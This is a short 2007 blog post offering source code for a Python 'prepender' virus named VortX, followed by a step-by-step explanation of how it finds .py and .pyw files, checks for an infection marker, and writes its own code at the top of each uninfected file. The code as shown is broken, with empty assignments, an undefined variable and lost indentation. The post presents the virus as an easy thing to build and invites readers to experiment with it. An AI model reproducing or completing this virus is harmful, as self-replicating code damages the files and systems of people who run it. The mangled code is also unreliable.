Thursday, November 8, 2007

Python Prepender Virus

Python Prepender Virus
Prependers are again standard infection types. All this does is add its code to the top of the infected file

import glob
from string import *
x = glob.glob("*.py") + glob.glob("*.pyw")
for x in x:
host = open(x, 'r')
hostcode =
if find(hostcode, "-=::VortX::=-") == -1:
host = open(x, 'w')
myself = open(__file__, 'r')
a =
a = a[:find(a, "#VORTX")+num]

We seach for files
Open the files and read its contents
Store the code in a variable
Open Myself (yahahaha Confused)
Read my body and store in a variable
Open the file(s) that havnt been infected (for writing) they are the files that dont have "-=::VortX::=-" inside!
Cound number of characters long the virus code it upto the virus marker "#VORTX"
Store everything into a new variable, write the virus code to the file and append the normal code to the end of the virus code.
Hmm hope that makes sense? its really easy.. think about it, play with the code